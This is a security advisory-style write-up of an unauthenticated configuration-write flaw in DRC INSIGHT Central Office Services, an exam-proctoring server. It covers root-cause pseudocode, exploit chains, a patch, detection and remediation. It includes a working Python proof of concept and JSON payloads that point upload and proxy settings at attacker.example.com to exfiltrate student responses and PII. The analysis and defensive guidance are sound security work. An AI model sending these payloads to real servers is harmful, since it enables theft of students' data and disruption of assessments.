CVE-2026-5756: Unauthenticated Config Write in DRC COS

DRC INSIGHT's Central Office Services exposes /v0/configuration without auth, allowing any LAN peer to overwrite server config and redirect test data to attacker-controlled infrastructure.

// PLAIN ENGLISH VERSION

A serious security flaw has been discovered in DRC Central Office Services software, a tool used by many organizations to manage their servers and infrastructure. The problem is straightforward: attackers can break into these systems and change critical settings without needing a password or any legitimate access.

Think of it like discovering that someone left the blueprint cabinet unlocked at a power plant. An attacker could walk in, change the settings that control how the plant operates, and walk out without anyone knowing.

Here's what makes this dangerous: once inside, an attacker can redirect your data to themselves, spy on your communications, or deliberately sabotage your systems. For organizations that rely on these servers for testing, customer services, or storing sensitive information, this is a nightmare scenario. There's no audit trail, no alarm bells—the attacker just changes the configuration and vanishes.

Who's at risk? Primarily companies and organizations using DRC Central Office Services—especially those in finance, healthcare, telecommunications, or any sector handling sensitive data. If your organization uses this software, you should assume you're potentially vulnerable until you patch it.

The good news: there's no evidence that attackers are actively exploiting this yet, but that window is closing. Once word spreads, attackers will definitely try.

Here's what you should do: First, if you work in IT or security, contact your DRC vendor immediately and ask if a patch is available. Second, if you manage any systems, restrict who can access your configuration files and enable any authentication features available now, even if they're inconvenient. Third, check your server logs for any suspicious changes made recently—attackers may have already visited.

Want the full technical analysis? Click "Technical" above.

▶ Attack flow — CVE-2026-5756 · Remote Code Execution

Vulnerability Overview

CVE-2026-5756 is an unauthenticated configuration write vulnerability in Data Recognition Corporation's Central Office Services (COS), the local content-hosting component of the DRC INSIGHT test-proctoring platform. The /v0/configuration management endpoint accepts arbitrary JSON payloads from any host on the local network and persists them directly to the server's configuration file — no session token, no HMAC, no origin check. CVSS 7.5 (HIGH), no patch available as of this writing.

COS is deployed on school and district LANs where student devices connect during high-stakes assessments. The attack surface is not the public internet — it is every Chromebook, tablet, and teacher workstation already inside the network perimeter. In that context, "network-adjacent" understates the exposure.

Root cause: The COS API router colocates public content-serving endpoints and privileged administrative endpoints under a single unauthenticated handler, with no middleware enforcing authorization on the /v0/configuration route.

Affected Component

DRC INSIGHT Central Office Services (COS) — a Node.js-based local server deployed on Windows or Linux district infrastructure. COS hosts encrypted exam content, receives student response artifacts, and forwards data to DRC's cloud backend. The configuration file it exposes governs storage paths, upstream service endpoints, proxy settings, and credentials for external integrations.

Affected versions: see NVD entry for CVE-2026-5756. DRC coordination was unsuccessful; no patch exists.

Root Cause Analysis

COS uses a unified Express-style API router. Public content routes (/v0/content/*, /v0/status) and administrative routes (/v0/configuration) are registered on the same router instance with no authentication middleware applied to the admin group. The configuration handler reads the inbound JSON body and calls the config persistence function directly.

The following pseudocode reconstructs the vulnerable handler based on observed behavior and the vendor advisory:

// COS API router — reconstructed from advisory and behavioral analysis
// File: cos-server/routes/v0/configuration.js (compiled/bundled)

void registerConfigurationRoute(app_t *router) {
    // BUG: no authMiddleware() call before this handler registration.
    // All sibling content routes are similarly unprotected, but only
    // /v0/configuration has write semantics with persistent side effects.
    router->post("/v0/configuration", handleConfigWrite);
}

int handleConfigWrite(req_t *req, res_t *res) {
    config_t *incoming = json_parse(req->body, req->body_len);
    // BUG: no authentication check — req->session, API key, or origin header
    // are never validated before reaching the write path.
    if (!incoming) {
        res->status = 400;
        return res->send("invalid json");
    }

    // BUG: no schema validation, no allowlist of mutable keys.
    // Caller-supplied keys overwrite corresponding fields in the live config.
    config_merge(g_server_config, incoming);

    // Persists merged config to disk immediately.
    int rc = config_write_disk(g_server_config, CONFIG_PATH);
    // BUG: return value checked but not acted upon defensively —
    // a partial write leaves the server in a corrupted config state.
    if (rc != 0) {
        res->status = 500;
        return res->send("write error");
    }

    res->status = 200;
    return res->send("ok");
}

// config_merge: shallow key-value merge, no field filtering.
void config_merge(config_t *dst, config_t *src) {
    for (kv_t *kv = src->head; kv != NULL; kv = kv->next) {
        // BUG: every key in src unconditionally overwrites dst.
        // Attacker controls: httpsProxy, storageBackend, uploadEndpoint,
        // authToken, dataDir, servicePort, tlsCertPath, and more.
        config_set(dst, kv->key, kv->value);
    }
}

The critical path is three calls deep: registerConfigurationRoute registers with no auth middleware → handleConfigWrite parses without validating caller identity → config_merge blindly overwrites all supplied keys. No step in this chain performs authorization.

Exploitation Mechanics

Three distinct attack scenarios emerge from the writable configuration surface. All require only LAN adjacency and a single unauthenticated HTTP POST.

EXPLOIT CHAIN A — Student Data Exfiltration:
1. Attacker device joins school LAN (compromised student device, rogue AP client,
   or physical Ethernet drop in classroom).
2. Discover COS server IP via mDNS, ARP scan, or known default (192.168.x.1:3000).
3. POST /v0/configuration with JSON overwriting uploadEndpoint and authToken:
     {"uploadEndpoint": "https://attacker.example.com/collect",
      "authToken": "attacker-controlled-token",
      "storageBackend": "remote"}
4. COS persists payload to CONFIG_PATH immediately; no restart required for
   endpoint fields (hot-reloaded on next upload cycle).
5. Student devices submit test responses. COS forwards response artifacts,
   audio recordings, and PII to attacker.example.com instead of DRC backend.
6. Attacker receives multipart upload stream containing student ID, responses,
   session tokens, and any captured audio.

EXPLOIT CHAIN B — TLS Interception via httpsProxy:
1. Same LAN access as Chain A.
2. POST /v0/configuration overwriting httpsProxy:
     {"httpsProxy": "http://attacker-proxy.local:8080"}
3. All outbound HTTPS from COS (license validation, content sync, telemetry)
   now traverses attacker proxy.
4. If COS does not enforce certificate pinning (not indicated in advisory),
   attacker performs full HTTPS MITM: reads session tokens, DRC API keys,
   and content decryption material in transit.
5. Attacker injects modified exam content into COS responses to student devices.

EXPLOIT CHAIN C — Service Disruption:
1. Same LAN access.
2. POST /v0/configuration with malformed or conflicting values:
     {"servicePort": 0,
      "dataDir": "/dev/null",
      "tlsCertPath": "/nonexistent/path.pem"}
3. config_write_disk persists invalid state.
4. On next service restart (or hot-reload trigger), COS fails to bind port,
   cannot access dataDir, or aborts TLS initialization.
5. Assessments in progress are disrupted; students lose session state.
   Recovery requires manual administrator intervention on the server host.

Proof-of-concept for Chain A requires nothing beyond curl:

#!/usr/bin/env python3
# CVE-2026-5756 — COS /v0/configuration unauthenticated write
# For authorized research and detection validation only.

import requests
import sys

TARGET   = sys.argv[1]          # e.g., "http://192.168.1.10:3000"
EXFIL_EP = "https://attacker.example.com/collect"
EXFIL_TK = "attacker-controlled-bearer-token"

payload = {
    "uploadEndpoint": EXFIL_EP,
    "authToken":      EXFIL_TK,
    "storageBackend": "remote",
    "httpsProxy":     "http://attacker.example.com:8080"
}

r = requests.post(
    f"{TARGET}/v0/configuration",
    json=payload,
    timeout=5
)

print(f"[*] Status: {r.status_code}")
if r.status_code == 200:
    print("[+] Configuration overwritten. Awaiting exfiltration callbacks.")
else:
    print(f"[-] Unexpected response: {r.text}")

Memory Layout

This is not a memory-corruption vulnerability — the bug is an access-control failure in the HTTP routing layer. Rather than a heap diagram, the relevant "state" is the server's configuration file before and after exploitation. COS persists configuration as JSON to a file at a fixed path (observed: cos-config.json or equivalent in the application data directory).

CONFIG FILE STATE — BEFORE ATTACK:
{
  "uploadEndpoint":  "https://cos.drcedirect.com/upload",
  "authToken":       "[DRC-ISSUED-TOKEN]",
  "storageBackend":  "local",
  "httpsProxy":      "",
  "servicePort":     3000,
  "dataDir":         "C:\\COS\\data",
  "tlsCertPath":     "C:\\COS\\certs\\server.pem"
}

CONFIG FILE STATE — AFTER ATTACK (Chain A + B combined payload):
{
  "uploadEndpoint":  "https://attacker.example.com/collect",  // OVERWRITTEN
  "authToken":       "attacker-controlled-bearer-token",       // OVERWRITTEN
  "storageBackend":  "remote",                                  // OVERWRITTEN
  "httpsProxy":      "http://attacker.example.com:8080",       // OVERWRITTEN
  "servicePort":     3000,                                      // unchanged
  "dataDir":         "C:\\COS\\data",                          // unchanged
  "tlsCertPath":     "C:\\COS\\certs\\server.pem"              // unchanged
}

MERGE SEMANTICS: config_merge() performs a shallow key overwrite.
Attacker-supplied keys replace values; omitted keys retain prior values.
No rollback, no audit log, no restart required for hot-reloadable fields.

Patch Analysis

No patch has been issued. DRC coordination was unsuccessful. The correct fix requires changes at two layers: the router registration (add authentication middleware to all /v0/configuration methods) and the handler itself (validate the caller, validate the schema).

// BEFORE (vulnerable) — no auth middleware on admin route:
void registerConfigurationRoute(app_t *router) {
    router->post("/v0/configuration", handleConfigWrite);
}

int handleConfigWrite(req_t *req, res_t *res) {
    config_t *incoming = json_parse(req->body, req->body_len);
    config_merge(g_server_config, incoming);
    config_write_disk(g_server_config, CONFIG_PATH);
    res->status = 200;
    return res->send("ok");
}

void config_merge(config_t *dst, config_t *src) {
    for (kv_t *kv = src->head; kv != NULL; kv = kv->next) {
        config_set(dst, kv->key, kv->value);   // no key filtering
    }
}


// AFTER (recommended patch):
// 1. Apply auth middleware at registration.
// 2. Validate caller identity in handler.
// 3. Filter keys against an explicit allowlist in config_merge.

void registerConfigurationRoute(app_t *router) {
    // FIX: require local admin session or API key on all admin routes.
    router->post("/v0/configuration", requireAdminAuth, handleConfigWrite);
}

int handleConfigWrite(req_t *req, res_t *res) {
    // FIX: redundant auth check — defense in depth.
    if (!session_is_admin(req->session)) {
        res->status = 403;
        return res->send("forbidden");
    }

    // FIX: validate Origin / Host headers against server's own address
    // to block CSRF from compromised student browsers.
    if (!origin_is_local(req->headers.origin)) {
        res->status = 403;
        return res->send("forbidden");
    }

    config_t *incoming = json_parse(req->body, req->body_len);
    if (!incoming) {
        res->status = 400;
        return res->send("invalid json");
    }

    // FIX: pass through schema validation before merge.
    if (!config_validate_schema(incoming)) {
        res->status = 422;
        return res->send("schema validation failed");
    }

    config_merge_safe(g_server_config, incoming);
    int rc = config_write_disk(g_server_config, CONFIG_PATH);
    if (rc != 0) {
        // FIX: rollback to prior state on write failure.
        config_restore_backup(g_server_config);
        res->status = 500;
        return res->send("write error");
    }

    res->status = 200;
    return res->send("ok");
}

// FIX: explicit allowlist — only operator-settable fields accepted.
static const char *MUTABLE_KEYS[] = {
    "servicePort", "dataDir", "logLevel", NULL
};

void config_merge_safe(config_t *dst, config_t *src) {
    for (kv_t *kv = src->head; kv != NULL; kv = kv->next) {
        // FIX: reject any key not in the explicit allowlist.
        // uploadEndpoint, authToken, httpsProxy, tlsCertPath are NOT mutable
        // by local admin UI — they are provisioned by DRC during enrollment.
        if (!key_in_allowlist(kv->key, MUTABLE_KEYS)) {
            log_warn("config_merge_safe: rejected key '%s'", kv->key);
            continue;
        }
        config_set(dst, kv->key, kv->value);
    }
}

Detection and Indicators

Without authentication the attacker leaves no credential-based artifact. Detection relies on network and file-system telemetry.

Network indicators: Unexpected POST requests to /v0/configuration from non-administrative hosts. Any host other than the designated admin workstation initiating this request is anomalous. Watch for outbound connections to unfamiliar HTTPS endpoints shortly after a configuration POST — this is the exfiltration phase beginning.

File-system indicators: Modification timestamp on cos-config.json (or equivalent) during non-maintenance windows. File integrity monitoring (FIM) on the COS config path will catch any write. Specifically watch for changes to the keys uploadEndpoint, httpsProxy, and authToken.

Log pattern (COS access log):

SUSPICIOUS LOG PATTERN — unauthenticated config write:
[2026-04-23T09:14:32Z] POST /v0/configuration 200 from 192.168.1.47
  body_len=128 user_agent="python-requests/2.31.0"

FOLLOW-ON EXFILTRATION INDICATOR:
[2026-04-23T09:14:55Z] PUT https://attacker.example.com/collect 200
  content-type=multipart/form-data content-length=84320
  -- student response artifact leaving network perimeter

COMPARED TO BASELINE (legitimate admin):
[2026-04-23T08:00:01Z] POST /v0/configuration 200 from 192.168.1.1
  body_len=42 user_agent="COS-AdminUI/4.2.1"

Sigma-style detection logic: Alert on POST /v0/configuration from any source IP not in the explicitly allowlisted admin set. In environments where COS should never accept admin requests (fully provisioned deployments), alert on any POST to this endpoint.

Remediation

No vendor patch is available. Mitigations must be applied at the network and host level.

Immediate: Place COS servers on a dedicated VLAN. ACL that VLAN to permit inbound connections only from student device subnets on the content-serving port. Administrative access to the COS host should require a separate management VLAN reachable only from authenticated admin workstations. Block all access to /v0/configuration at the network edge — a host-based firewall rule or a reverse proxy with an explicit deny on that path costs nothing and eliminates the attack surface entirely until a patch ships.

Reverse proxy block (nginx example):

location = /v0/configuration {
    # Block all access pending vendor patch for CVE-2026-5756.
    # If local admin UI requires this endpoint, restrict to admin VLAN only:
    allow 10.0.0.0/24;   # admin management subnet
    deny  all;
    proxy_pass http://cos-backend;
}

File integrity monitoring: Deploy FIM on the COS config file path. Alert immediately on any modification. Retain configuration backups with cryptographic hashes so a post-exploitation config restore can be verified clean.

Assessment windows: During active testing, monitor outbound connections from COS hosts. Any new destination appearing during an assessment window should trigger immediate investigation. Consider egress filtering that whitelists only known DRC backend IP ranges during exam periods.